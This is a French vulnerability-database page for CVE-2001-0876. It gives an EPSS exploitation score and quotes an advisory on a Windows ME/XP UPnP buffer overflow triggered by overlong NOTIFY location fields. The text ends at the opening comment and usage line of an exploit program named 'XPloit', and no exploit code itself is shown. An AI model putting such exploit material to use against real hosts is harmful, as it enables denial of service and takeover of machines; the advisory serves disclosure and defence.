CVE-2001-0876 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)

2025-03-30	–	–	–	–	81.68,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/3723/info Universal Plug and Play, or UPnP, is a service that allows for hosts to locate and use devices on the local network. UPnP support ships with Windows XP and ME. For Windows 98 and 98SE, it is available with Windows XP's Internet Connection Sharing client. It should be noted that UPnP services are enabled on Windows XP by default. When processing the location field in a NOTIFY directive, UPnP server process memory can be overwritten by data that originated in the packet. If the IP address, port and filename components are of excessive length, access violations will occur when the server attempts to dereference pointers overwritten with data from the packet. It should be noted that the service listens on broadcast and multicast interfaces. This could permit an attacker to exploit a number of systems without knowing their individual IP addresses, if they employed an exploitation method targeting a UDP port. It is however possible to exploit this condition using either the TCP or UDP protocols. The UPnP service runs in the LOCAL SERVICE security context. An attacker who successfully exploits this vulnerability could gain control over the target host. /* * WinME/XP UPNP dos & overflow * * Run: ./XPloit host <option> * * Windows run the "Universal Plug and Play technology" service * at port 5000.
